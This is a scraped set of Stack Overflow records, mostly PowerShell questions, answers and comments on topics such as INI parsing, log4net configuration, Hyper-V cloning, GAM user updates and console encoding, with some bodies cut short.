score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79370568
has text: It is not. The address of the page library is https://pathtosite.sharepoint.com/.../modify-mailto-hyperlinks/Pages ` try {Get-PnPPage -Identity "home.aspx"} catch { echo $_.Exception} ` This also triggers a null reference exception
type: Comment

http://stackoverflow.com/comment/139972750
has text: I do not have any idea why Microsoft would default the search results to 100 items. This is very unusual.
score: 0
comment on: http://stackoverflow.com/q/79360943
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139886097
type: Comment
has text: When I create the application with `az ad app create` I do not get a default scope exposed on the App? Is this in documentation or did you see this also when you did it because I have wondered why it is the case... Permissions missing? I do not get either when clicking it up in the portal.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188

http://stackoverflow.com/comment/140027448
comment on: http://stackoverflow.com/a/79401189
type: Comment
score: 0
type: AnswerComment
has text: The `exit` keyword in the script is not going to affect `$LASTEXITCODE` in the hosting runspace - no process was started, no process exited = no exit code

http://stackoverflow.com/comment/139810667
has text: Glad it helped @tb1! Good point about not trying to save the excel file on close since we are not trying to update anything. I've updated my answer with your suggestion.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79283454
type: AnswerComment

http://stackoverflow.com/comment/139997532
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79385377
score: 0
has text: Yes. The complete file is in that link.

http://stackoverflow.com/comment/139869766
type: QuestionComment
has text: @SantiagoSquarzon those both worked, thank you!
type: Comment
comment on: http://stackoverflow.com/q/79318047
score: 1

http://stackoverflow.com/comment/139850654
comment on: http://stackoverflow.com/q/79307364
type: QuestionComment
type: Comment
has text: Does drive `E:` exist on the remote computer?
score: 0

http://stackoverflow.com/a/79386724
type: Answer
downvote count: 1
answers question: http://stackoverflow.com/q/79385377
has comment: http://stackoverflow.com/comment/140002961
has body: Just to let you know the .CVA files are in fact text files in the .INI format (albeit with quirks in the sense that comments are not preceeded by a ';' semicolon or a '#' hash sign), you can simply read the values you need using an INI reader like the one below I've written some time ago: function Import-Ini { [CmdletBinding()] param( [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] [Alias('FullName', 'FilePath')] [string]$Path ) # PowerShell < 3.0 # $ini = New-Object System.Collections.Specialized.OrderedDictionary([System.StringComparer]::OrdinalIgnoreCase) $ini = [ordered]@{} $section = $null # regex to remove trailing inline comments unless quoted $trailingComment = '[;#](?=([^"]*"[^"]*")*[^"]*$).*$' switch -Regex -File $Path { # skip comment and empty or whitespace only lines '^\s*$' {} '^\s*[;#].*$' {} # a section '^\s*\[(.+)\]\s*$' { $section = $matches[1].Trim() if (!($ini[$section])) { $ini[$section] = [ordered]@{} } } # a property: Key = Value '^\s*([^;#]+?)\s*=\s*(.*)' { if (($section) -and !($ini[$section])) { $ini[$section] = [ordered]@{} } # remove inline trailing comment, trim and unquote (by both single or double quote characters) $name, $value = ($matches[1..2] -replace $trailingComment).Trim() -replace '^(?:"(.*)"|''(.*)'')$', '$1$2' if ($name.EndsWith('[]')) { # it's an array $name = $name.TrimEnd('[]').Trim() if (!$section) { # no section? just add to the ini hash as array if (!$ini[$name]) { $ini[$name] = @() } $ini[$name] += $value } else { if (!$ini[$section][$name]) { $ini[$section][$name] = @() } $ini[$section][$name] += $value } } else { if (!$section) { $ini[$name] = $value } else { $ini[$section][$name] = $value } } } # bad entry default { # comment out the next line if you don't want to see the warnings # or append -WarningAction SilentlyContinue to the Import-Ini command Write-Warning "Bad entry detected: '$_'" } } return $ini } Using a .CVA test file I have downloaded from here you can …
has comment: http://stackoverflow.com/comment/140001647
upvote count: 0
has comment: http://stackoverflow.com/comment/140007389
score: -1

http://stackoverflow.com/comment/139809760
type: QuestionComment
comment on: http://stackoverflow.com/q/79278916
type: Comment
score: 0
has text: And yes @js2010, it would run faster but I prefer it in series

azure-rm
tag name: azure-rm
type: Tag
tags question: http://stackoverflow.com/q/79409855

http://stackoverflow.com/comment/139936204
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/79353262
has text: Note that the error message (`Cannot find an overload for "<methodName>" and the argument count: "<count>"`) implies that the method _exists_, but that no suitable _overload_ can be found for the given arguments. This can either be due an incorrect _number_ of arguments, or, as in your case, due to non-matching argument _types_. [GitHub issue #3658](https://github.com/PowerShell/PowerShell/issues/3658) is a green-lit, but yet to be implemented suggestion to improve the error message in the latter case.

http://stackoverflow.com/comment/139979366
comment on: http://stackoverflow.com/q/79374832
has text: Do you mean that you don't want it to be a _child_ process of the launching process? _Detached_ just seems to refer to the new process not being attached to the caller's console (and having no new one allocated for it), though I don't know how that relates to a parent/child relationship.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139978754
score: 0
comment on: http://stackoverflow.com/q/79373919
type: QuestionComment
has text: Thank you for your answers. Are you aware how can I use "add-type" for method "QueryUsersOnEncryptedFile"?
type: Comment

http://stackoverflow.com/comment/140020831
type: Comment
score: 0
has text: That got me closer. `$PSBoundParameters` results in Exceptions {.zip, .log} which looks ok. The Remove-item command still deletes all files.
type: AnswerComment
comment on: http://stackoverflow.com/a/79397654

http://stackoverflow.com/a/79274613
has comment: http://stackoverflow.com/comment/139797185
answers question: http://stackoverflow.com/q/79272508
type: Answer
has body: NOTE: my solutions require Powershell 7.x Given you know the key, replacing all the values it's easy $JsonHashTable = Get-Content -Path $JsonFile | ConvertFrom-Json -AsHashtable -Depth 100 $PasswordString = Get-Content -Path $PasswordFile # .Clone() necessary because otherwise the Keys list gets refreshed # at every change and that causes a error. foreach ($Key in $JsonHashTable.PSKs.Keys.Clone()) { $JsonHashTable.PSKs.$Key = $PasswordString } $JsonHashTable | ConvertTo-Json -Depth 100 | Set-Content -Path $JsonFile To change one specific month: while ($MonthToChange -notin 1..12) { # Evaluate some error handling [int]$MonthToChange = Read-Host -Prompt 'Insert number of the month to change [0-12]' } $MonthKey = '{0:d2}' -f $MonthToChange $JsonHashTable.PSKs.$MonthKey=$PasswordString To dynamically generate a random string to use as password, given the apparent low-risk environment(you will have those passwords store in plain text after all) I'd suggest using $PasswordString = New-Guid | Select-Object -ExpandProperty Guid Depending on the real use situation, evaluate implementing some random string generator module.
score: 0

http://stackoverflow.com/comment/139822433
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79290848
type: QuestionComment
has text: I believe "account name" is buried in the message property, unless you want to manipulate the properties property or call toXml() on the object. Actually I'm thinking of get-winevent.

http://stackoverflow.com/a/79389976
type: AcceptedAnswer
type: Answer
has body: After googling around, I found this page. Looked at the script and tried out a few lines. Turns out the one below works out for my need. PS C:\&gt; $ntpservercheck = w32tm /query /status | Select-String -Pattern '^Source:' PS C:\&gt; $ntpserver = $ntpservercheck.ToString().Replace('Source:', '').Trim() PS C:\&gt; w32tm /stripchart /computer:$ntpserver /dataonly /samples:5 Tracking Child-DC-A.domain.net [1.2.3.4:123]. Collecting 5 samples. The current time is 1/27/2025 1:09:57 PM. 13:09:57, +00.2191678s 13:09:59, +00.2194472s 13:10:01, +00.2193648s 13:10:03, +00.2189340s 13:10:05, +00.2190456s PS C:\&gt; Thanks for those commented and give advice, appreciate it! =)
accepted answer of: http://stackoverflow.com/q/79383065
answers question: http://stackoverflow.com/q/79383065
score: 0

winrm
tags question: http://stackoverflow.com/q/79350568
type: Tag
tag name: winrm
tags question: http://stackoverflow.com/q/79278871
tags question: http://stackoverflow.com/q/79254020

http://stackoverflow.com/comment/139787345
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79268615
type: Comment
has text: I can confirm the LASTEXITCODE solution works, I haven't tested the former solution yet

http://stackoverflow.com/comment/139901576
type: QuestionComment
has text: Define "not working". Which specific suggested solutions did you try and how exactly did it fail? Please include error messages and other unexpected behavior
comment on: http://stackoverflow.com/q/79335322
type: Comment
score: 0

http://stackoverflow.com/comment/140000323
type: AnswerComment
has text: @Gordon: The only reason I set a culture explicitly in the sample code was to demonstrate the approach works robustly even in the face of in-session culture changes. The persistently configured culture is a per-user concept (the default is presumably the Windows install language) that a user is free to change anytime and it is this culture that determines both the date/time format shown in the taskbar and the effective culture for PowerShell sessions (whether in the ISE or not). If you see a discrepancy, perhaps one of your PowerSell `$PROFILE`s performs an in-session change.
comment on: http://stackoverflow.com/a/79387067
type: Comment
score: 0

http://stackoverflow.com/comment/139965882
type: Comment
comment on: http://stackoverflow.com/a/79366437
score: 0
type: AnswerComment
has text: @Sheldz: My bad: I had tested my code only with a _dynamic_ module, which behaves differently. Please see the updated answer, which I've now verified to work with a regular (persisted) module (based on a `*.psm1` file).

http://stackoverflow.com/comment/139852272
has text: @mklement0 I have a Tor Portable github repo with 130 stars used mainly by Russians, there is a service file creation, that is for now completely broken for cyrillic, it can't even start if your username is in cyrillic. I firstly added the chcp 1251 at the beginning of a program for a batch section, but it wasn't enough for the powershell section, so this is why I asked this question. It replaces paths in powershell here and there, to use absolute instead of relative in config file. I f thought my default is utf8nobom but now I don't know, and I'm not sure what is people defaults.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730

http://stackoverflow.com/comment/139992275
comment on: http://stackoverflow.com/q/79382069
type: QuestionComment
type: Comment
score: 0
has text: @jdweng that reddit didn't open properly. Can you post the content as answer?

neovim
tags question: http://stackoverflow.com/q/79327313
tag name: neovim
type: Tag

http://stackoverflow.com/comment/139851845
type: Comment
score: 0
has text: @AmigoJack I need it to work at least on win 10 or even on win 7, but for now I can't make it work even on Win 11. This program isn't UTF8-BOM compatible. If I needed it only on win 11 and only for me I would just write | Out-File -encoding default '%CD%\MyFile.txt'. And I already used powershell it is win 7 compatible, the main issue is I need it to work through .cmd script in the folder which should properly modify '%CD%\MyFile.txt'. I am not a programmer by specialisation but I really need it for myself and for the people which relies on me.
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment

http://stackoverflow.com/comment/139948170
has text: Dang I flagged my question to moderator intervention and detailed the issue. We will see
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79344511

http://stackoverflow.com/comment/139847833
score: 3
has text: If you want to run a script elevated you need to have administrative rights. It does not matter if the script is signed with a certificate or not. Execution policy has nothing to do with elevation. ☝
comment on: http://stackoverflow.com/q/79305652
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79393526
tagged with: powershell
has body: I have an PowerShell module that initializes a log4net with a default config file so I can use this in my PS Scripts. This works fine. My module has a parameter so i can specify to with file the RollingFileAppender should write. My module updates this value (when debugging, I can see that the File-property is changed). But when returning the 'logger' object, it still logs to the file that configured in my default config file. This used to work some time ago, but now it does not any more. Basically, this is the code of the module (I removed all the try-catch code for clarity). This is my module 'log4net.psm1' function InitLog4Net { param( [string]$Logfile, [string]$FileThreshold ) $ErrorActionPreference = "Stop" [void][Reflection.Assembly]::LoadFile("$PSScriptRoot\log4net.dll"); $fileInfo = New-Object System.IO.FileInfo("$PSScriptRoot\log4net.config") [log4net.Config.XmlConfigurator]::Configure($fileInfo) $log = [log4net.LogManager]::GetLogger("Logger") if ($PSBoundParameters.ContainsKey("Logfile")) { foreach ($appender in $log.Logger.Appenders) { if ($appender.Name -eq "file") { $appender.File = $Logfile $appender.ActivateOptions() } } } # I can see the $appender.File is updated here return $log } I simply call from a PS Script this module that return the 'log4net' object and I start logging. The log is written to the file that is defined in my default log4net.config. Import-Module c:\<path-to-module>\log4net.psm1 -Force $file = $PSScriptRoot + "\Do-Monitor.log" $log = InitLog4Net -Logfile $file $log.Info("Started!") What am i doing wrong here? Am i returning the original object without my modification? Greetz Pieter I'm using Powershell 7.4.6 on a Windows Server 2019, log4net.dll is version 2.0.15.0 UPDATE: just rebooted the server and it worked perfectly. We run several Powershell scripts on a daily basis on this server. After the reboot, my script was the first to run. I started another PowerShell script that is using the same module I created and then it was bro…
has comment: http://stackoverflow.com/comment/140017993
tagged with: rollingfileappender
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/140012792
has comment: http://stackoverflow.com/comment/140017203
has comment: http://stackoverflow.com/comment/140012493
has title: Using log4net in Powershell: setting a property works, but is not used
has comment: http://stackoverflow.com/comment/140015168
tagged with: log4net
type: Question
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/140019459
comment on: http://stackoverflow.com/q/79396493
type: QuestionComment
type: Comment
has text: I saw that I can create a module, but didn't see the local repository as an option, it's exactly what I was looking for ! I'll setup this ASAP !
score: 0

http://stackoverflow.com/comment/139837715
comment on: http://stackoverflow.com/q/79287969
type: QuestionComment
type: Comment
has text: I don't see `catalog_visibility` as an accepted parameter on that endpoint, just as a product property https://woocommerce.github.io/woocommerce-rest-api-docs/?javascript#list-all-products
score: 0

http://stackoverflow.com/q/79406297
tagged with: powershell
has comment: http://stackoverflow.com/comment/140047448
linked to: http://stackoverflow.com/q/75347681
upvote count: 0
type: UnansweredQuestion
score: -2
has title: Debugging a string parser in PowerShell
favorite count: 0
has body: The issue is that in my Excel output it does not stop after the subject line has been proceeded. I have a utm9 smtp proxy log and try to output date sender receiver and subject only. So it should stop as soon as the subject ends. Here is some example of the log file: 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [104\126] F From: xxxS harma <sss.sss@sss.com> 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [105\126] T To: "xxxx.xx@xx.de" <ss.ss@ss.de>, 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [106\126] "martxxxin.xxx@tousxxxxt.ixxefa.de" <xx.xx@xx.xx.de> 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [107\126] C CC: "xx, xsss [ADD IT]" <xx.xx@xx.de>, "xxx, xx[ADD 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [108\126] IT]" <julia.xx@xxxx.de> 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [109\126] Subject: xxArcserve-Wartungsvertrahhhg N. xxx& Co. GmbH hh wird 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [110\126] am 1.3.2025 ablaufen 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [111\126] Thread-Topic: Ihr xx-Wartungsvertrag xx. xx& xx. GmbH xx 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [112\126] wird am 1.3.2025 ablaufen 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [113\126] Thread-Index: AQHbZEVvoZQu1Fou30O6c9m84wfi5rMX+aUw 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [114\126] Date: Wed, 15 Jan 2025 15:21:07 +0000 2025:01:15-16:22:31 sutm1kor-2 exim-in[11594]: [115\126] I Message-ID: <PH0PR10MB4711CA54F8FD03D520F60105E9192@PH0PR10MB4711.namprd10.prod.outlook.com> So what my script does in the subject line it copy everything after Thread-Index, but it should not do that but go to the next line that starts by F From: and process the next and so on. The Excel app says as well the file is broken and need repair, but it still seems to have all I need. How can I fix my code? # Define paths $logFilePath = "C:\1.log" $outputExcelPath = "C:\path\to\your\output.xlsx" # Ensure ImportExcel module is installed if (-not (Get-Module -ListAvailable -Name Import…
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/140039412
has comment: http://stackoverflow.com/comment/140047450
type: Question
has answer: http://stackoverflow.com/a/79425135
linked to: http://stackoverflow.com/q/76011142
has answer: http://stackoverflow.com/a/79461959

http://stackoverflow.com/a/79263622
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79263555
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79263555
upvote count: 1
score: 1
has body: Use a combination of: the intrinsic psobject property that PowerShell exposes on objects of any type, to provide reflection on the given object. the unary form of , the array constructor operator, in order to emit arrays as a whole to the pipeline. Piping the result to ConvertTo-Json then yields the desired result. # Workaround for Windows PowerShell bug affecting to-JSON # serialization of arrays. if (-not $IsCoreClr) { Remove-TypeData -ErrorAction Ignore System.Array } $isHeader = $true $myObj | ForEach-Object { if ($isHeader) { $isHeader = $false; , $_.psobject.Properties.Name } $values = $_.psobject.Properties.Value , ( @($values[0].ToString('dd\/MM\/yyyy HH\:mm\:ss')) + $values[1..($values.Count-1)] ) } | ConvertTo-Json Note: The solution above works in both Windows PowerShell and PowerShell (Core) 7. In Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), a workaround for a to-JSON serialization bug affecting arrays is needed, Remove-TypeData System.Array, which is explained in this answer. Additionally, the code applies explicit string formatting to the [datetime] values in your .Date_Time properties to match your desired output. If you let ConvertTo-Json perform the string conversion, i.e. if you simply used , $_.psobject.Properties.Value: PowerShell 7 would use a culture-invariant ISO 8601 string representation that is the equivalent of calling .ToString('o'), e.g. "2024-12-13T13:40:04.815036-05:00" Windows PowerShell would use an obscure custom representation, e.g. "\/Date(1734115307445)\/" See this answer for additional information.

http://stackoverflow.com/comment/139825178
has text: Is it SFTP or SMTP enabled?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79291055
score: 0

http://stackoverflow.com/comment/139961361
score: 0
has text: I see, I think I read it backwards.
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140009320
score: 1
type: QuestionComment
type: Comment
has text: "I've read some discussion on github metioned that Item cmdlets have Options." - that sounds highly ambiguous, can you link to the github discussion in question?
comment on: http://stackoverflow.com/q/79392047

http://stackoverflow.com/comment/140021245
type: Comment
comment on: http://stackoverflow.com/a/79395054
score: 0
has text: @FedricKelley: Note that launching `Toad` will automatically activate it (except if `-min` means: start minimized, but, even if so, `$wshell.AppActivate("Toad")` won't help), so you shouldn't need `$wshell.AppActivate("Toad")`. Not knowing Toad, let me ask: what does `F6` do, and why is there another wait required thereafter? Either way, I think this answer covers all the fundamentals of what you need.
type: AnswerComment

http://stackoverflow.com/q/79409999
tagged with: powershell
has comment: http://stackoverflow.com/comment/140046249
has comment: http://stackoverflow.com/comment/140044519
score: 0
type: UnansweredQuestion
has title: GAM7 Updating users phone #
tagged with: command
has body: I have been trying for hours to update phone numbers for my users. We have over 2100 that need to be done. I have read the docs, cheat sheets, forums etc. I have even tried AI to help. PS C:\GAM7> gam update user mine@mine.com phone other:+2075551212 Command: C:\GAM7\gam.exe update user mine@mine.com phone >>>other:+2075551212<<< ERROR: Invalid argument Help: Syntax in file C:\GAM7\GamCommands.txt Help: Documentation is at https://github.com/GAM-team/GAM/wiki PS C:\GAM7> gam update user mine@mine.com phone +2075551212 Command: C:\GAM7\gam.exe update user mine@mine.com phone >>>+2075551212<<< ERROR: Invalid argument Help: Syntax in file C:\GAM7\GamCommands.txt Help: Documentation is at https://github.com/GAM-team/GAM/wiki PS C:\GAM7> gam update user mine@mine.com phone "other:+2075551212" Command: C:\GAM7\gam.exe update user mine@mine.com phone >>>other:+2075551212<<< ERROR: Invalid argument Help: Syntax in file C:\GAM7\GamCommands.txt Help: Documentation is at https://github.com/GAM-team/GAM/wiki PS C:\GAM7> gam update user mine@mine.com phone "2075551212" Command: C:\GAM7\gam.exe update user mine@mine.com phone >>>2075551212<<< ERROR: Invalid argument Help: Syntax in file C:\GAM7\GamCommands.txt Help: Documentation is at https://github.com/GAM-team/GAM/wiki PS C:\GAM7> gam update user mine@mine.com phone "812 531 8262" Command: C:\GAM7\gam.exe update user mine@mine.com phone >>>"812 531 8262"<<< ERROR: Invalid argument Help: Syntax in file C:\GAM7\GamCommands.txt Help: Documentation is at https://github.com/GAM-team/GAM/wiki PS C:\GAM7> gam update user mine@mine.com phone "8125318262" Command: C:\GAM7\gam.exe update user mine@mine.com phone >>>8125318262<<< ERROR: Invalid argument Help: Syntax in file C:\GAM7\GamCommands.txt Help: Documentation is at https://github.com/GAM-team/GAM/wiki PS C:\GAM7> What am I missing? I would expect the phone to update on the user.
type: Question
answer count: 0

http://stackoverflow.com/comment/139886187
type: Comment
score: 0
type: AnswerComment
has text: I dint get any error and don't have any special permission on entra
comment on: http://stackoverflow.com/a/79326188

http://stackoverflow.com/comment/139794407
score: 0
has text: During the `Restrict` call, I ensure the object is `Microsoft.Office.Interop.Outlook.MailItem`, so I would figure it's not `ReportItem`. As for what's missing data, I've added a table to the OP.
comment on: http://stackoverflow.com/a/79270136
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79395636
type: Question
answer count: 0
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/140018877
has title: Trying to make 10 VMs in Windows Hypervisor getting "Import-VM : The file 'G:\VM\New Machine.vhdx' already exists." and a couple other errors
tagged with: hypervisor
tagged with: virtual-machine
type: UnansweredQuestion
score: 1
upvote count: 1
has body: I am trying to make 19 copies of a VM (will be used for testing) PowerShell is outside of my area of expertise but put this together with a modest about of research and ChatGPT. Unfortuatley I have not accomplished the goal I have made multiple versions of this PS script and keep getting "Import-VM : The file 'G:\VM\New Machine.vhdx' already exists." and a hand full of other errors. IF someone can point me to the right direction I would apricate it. --- PowerShell Script --- $sourceVM = "WP11_Master" $exportPath = "G:\export" $importPath = "G:\VMs" # Export the VM (Uncomment if you need to export it) # Export-VM -Name $sourceVM -Path $exportPath # Find the configuration file in the export directory $configFile = Get-ChildItem -Path $exportPath -Recurse -Filter "*.vmcx" | Select-Object -First 1 if (-not $configFile) { Write-Error "No configuration file found in the export path." exit } # Import the VM 3 times for ($i = 1; $i -le 3; $i++) { $newVMName = "ClonedVM$i" $newVMFolder = Join-Path -Path $importPath -ChildPath $newVMName # Ensure the new VM folder exists if (-not (Test-Path -Path $newVMFolder)) { New-Item -ItemType Directory -Path $newVMFolder } # Copy VM files to a unique directory Copy-Item -Path $exportPath\* -Destination $newVMFolder -Recurse -Force # Rename the .vhdx file to ensure uniqueness $vhdxFile = Get-ChildItem -Path $newVMFolder -Recurse -Filter "*.vhdx" | Select-Object -First 1 if ($vhdxFile) { $newVhdxName = "$newVMName.vhdx" Rename-Item -Path $vhdxFile.FullName -NewName $newVhdxName } else { Write-Error "No VHDX file found in $newVMFolder" continue } # Find the copied VM configuration file $vmConfigFile = Get-ChildItem -Path $newVMFolder -Recurse -Filter "*.vmcx" | Select-Object -First 1 if ($vmConfigFile) { # Import the VM using the modified configuration $importedVM = Import-VM -Path $vmConfigFile.FullName -GenerateNewId -Copy # Rename the imported VM Rename-VM -VM $importedVM.Name -NewName $newVMName Write-Output "VM $newVMName created succ…
has comment: http://stackoverflow.com/comment/140016506
favorite count: 0

http://stackoverflow.com/comment/139921595
has text: In short: While the output from external programs may _print_ OK to the _console_, when it comes to _capturing the output in a variable or redirecting it_, PowerShell decodes the output into .NET strings (first), using the character encoding stored in `[Console]::OutputEncoding`. Therefore, you may have to (temporarily) set it to the encoding used by the external program. E.g., for programs that output UTF-8, such as `node`: `[Console]::OutputEncoding = [System.Text.UTF8Encoding]::new()`. See the linked duplicate for details.
score: 1
comment on: http://stackoverflow.com/q/79345034
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139961387
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
type: Comment
score: 0
has text: You are getting to the Hello message and when it doesn't work it is printing the table. This is not in the code posted so I'm not sure what is happening.

http://stackoverflow.com/comment/139858423
type: QuestionComment
type: Comment
has text: Added snippet for .sqlproj file.
score: 0
comment on: http://stackoverflow.com/q/79303120

microsoft-graph-sdks
tag name: microsoft-graph-sdks
type: Tag
tags question: http://stackoverflow.com/q/79253851

http://stackoverflow.com/comment/140055992
type: Comment
score: 0
has text: Thanks! I just change $_.TypeName to $TypeName and removed the ArgumentList from the -ParameterFilter and finally it used the Mock!!!
type: AnswerComment
comment on: http://stackoverflow.com/a/79416009

http://stackoverflow.com/comment/139900565
type: QuestionComment
has text: If you're modifying existing registry value data, you want to use `Set-ItemProperty` (which does not have a `-PropertyType` parameter). If you're creating _new_ registry values, then use `New-ItemPropety` with `-PropertyType DWORD`.
type: Comment
comment on: http://stackoverflow.com/q/79334624
score: 0

http://stackoverflow.com/comment/139796211
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79275630
score: 0
has text: Your attempts to define the env. var. look correct. How do you trigger use of this variable, and under what circumstances do you see one vs. the other error message? Both error messages come from `cmd.exe` and the first one suggests that the executable path was used _unquoted_, whereas the second one suggests that the path _doesn't exist_.

http://stackoverflow.com/comment/139829383
score: 1
comment on: http://stackoverflow.com/q/79295280
has text: AFAIK you cannot use filter with multiple arguments. It is a limitation of the file system provider used. You would need to use -Include or implement a Where in the pipe. And about the wildcard, the documentation says the -Filter parameter only handles the ? and * characters. (ref. https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-7.4)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140007389
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79386724
has text: I have tried to load up this "INI" file through Windows, and it doesn't do anything. It may have the same format as an INI file, but I trust renamed CVA because they didn't want it run as an "INI" file, because of my result. I downvoted because I asked what was wrong with my regex, not what other longer solution can be provided. If you choose to keep it up, hopefully it will help another not wanting to use regex, and only regex, in their need.
type: AnswerComment

mysql-connector
tag name: mysql-connector
tags question: http://stackoverflow.com/q/79345015
type: Tag

http://stackoverflow.com/comment/139786306
comment on: http://stackoverflow.com/q/79271819
has text: `one` isnt returning anything to the success stream, don't see how this is possible unless there is something we're not seeing in your function
type: QuestionComment
type: Comment
score: 5

http://stackoverflow.com/a/79377660
accepted answer of: http://stackoverflow.com/q/79377371
answers question: http://stackoverflow.com/q/79377371
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139984001
has body: The Sort-Object part works when I call it directly, but not with the function Sort-Scripts You must pass all pipeline input to a single Sort-Object call, so do not use a process block: function Sort-Scripts { # *No* process block; no need for @(...) $input | Sort-Object -Property { $_.Version.Major }, { $_.Version.Minor }, { $_.Version.Patch }, { $_.Version.PreReleaseLabel }, { $_.Version.BuildLabel }, Sequence } Note: Not using a process block makes the function body run once, after all pipeline input has been received and collected in $input (see below); that is, it runs implicitly as if it were enclosed in an end block. Note that collecting all pipeline input first can be problematic with large input sets or when true streaming processing is required, but that isn't a problem in your use case, given that Sort-Object of technical necessity too must collect all its input first. If streaming processing is required, you'll have to write a so-called proxy function that uses a steppable pipeline. In cases where you do need a process block, it is better to use the automatic $_ variable rather than the automatic $input variable; the latter is an enumerator and meant to be used to represent the collected-up-front pipeline input. Also, as Mathias notes, and as reflected above, you don't need full-fledged calculated properties (e.g. @{ Expression={ $_.Version.Major } }) to pass dynamic sort criteria to Sort-Object - a script block alone will do (e.g. { $_.Version.Major }).
score: 3
upvote count: 3

http://stackoverflow.com/comment/140000755
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79383869
type: AnswerComment
has text: @Gordon: What `Get-UICulture` reports is based on the current user's Windows display language, which is independent of the current user's .NET culture (locale), as reported by `Get-Culture` - only the latter matters with respect to date and time formats. sirtao, I therefore don't think your update is a viable solution.

http://stackoverflow.com/q/79330030
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/79330051
has title: Questionable output while iterating over an array of arrays
tagged with: multidimensional-array
answer count: 1
tagged with: arrays
has body: I'm building an array of arrays in Powershell with the goal of iterating over that array and outputting strings from each member element. However in doing so, I'm getting fragments that aren't making sense. The code starts off like this: $details = @() $row = @(6.00, "First", "Normal", 20, "") $details += $row $row = @(12.00, "First", "Normal", 12, "") $details += $row Then iterating over each $row using a foreach loop as follows: foreach ($item in $details) { $price = $item[0] $edition = $item[1] $printing = $item[2] $stock = $item[3] $modifier = $item[4] $string = i $debug = "Added data for : $edition / $print ..." } But outputting $debug. I get Added data for: i / r ... Added data for: i / r ... It should be outputting: First / Normal
linked to: http://stackoverflow.com/q/60708578
type: AnsweredQuestion
tagged with: powershell
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/79330051
favorite count: 0

http://stackoverflow.com/comment/139903203
score: 0
comment on: http://stackoverflow.com/q/79334624
type: QuestionComment
has text: wow thanks I missed that one completely, and it was staring me right in the face. That worked with -Type DWORD. Thanks everyone for all your help
type: Comment

http://stackoverflow.com/comment/139957973
has text: I've resolved that: I realised that the managed identity didn't even have access to the automation account, so could not get the saved credentials. Now I am struggling to use connect-exchangeonline - it doesn't seem to like get-azautomationcredential. I have tried saving the get to a different variable and using that, and having the get credentials on the same line.
type: Comment
comment on: http://stackoverflow.com/a/79362468
score: 0
type: AnswerComment

http://stackoverflow.com/a/79363462
has body: PowerShell alone might not be sufficient for this task. I recommend using ExifTool alongside PowerShell to achieve the desired results. Below is a PowerShell script snippet that could serve as a starting point. You may need to make some adjustments to tailor it to your specific needs: Get-ChildItem -Path "C:\Path\To\PDFs" -Recurse -Filter "*.pdf" | ForEach-Object { $pdfPath = $_.FullName $output = & exiftool -a -G -PDFVersion -PDF/A -json $pdfPath $metadata = $output | ConvertFrom-Json $metadata | Select-Object FileName, PDFVersion, PDF_A | Export-Csv -Append -Path "C:\Path\To\Output.csv" -NoTypeInformation } You can find how to install exifTool here: https://exiftool.org/install.html
answers question: http://stackoverflow.com/q/79363438
type: Answer
upvote count: 2
downvote count: 1
score: 1

http://stackoverflow.com/comment/139801394
type: QuestionComment
type: Comment
score: 0
has text: While seductively convenient, the use of script blocks (`{ ... }`) as `-Filter` arguments is conceptually problematic and can lead to misconceptions. See the linked duplicates for details.
comment on: http://stackoverflow.com/q/79278937

http://stackoverflow.com/comment/139822979
type: QuestionComment
has text: why not just `$process = c:\config.ps1 -val1 "1234" -val2 "12.089"`?
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79291780

http://stackoverflow.com/comment/140030536
comment on: http://stackoverflow.com/a/79401218
score: 0
type: AnswerComment
has text: @AleksejEgsrov, it does have a value before the Try/Catch block. `[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups.Translate([System.Security.Principal.NTAccount]).Value` produces a value for the untranslated SID>
type: Comment

http://stackoverflow.com/comment/139992336
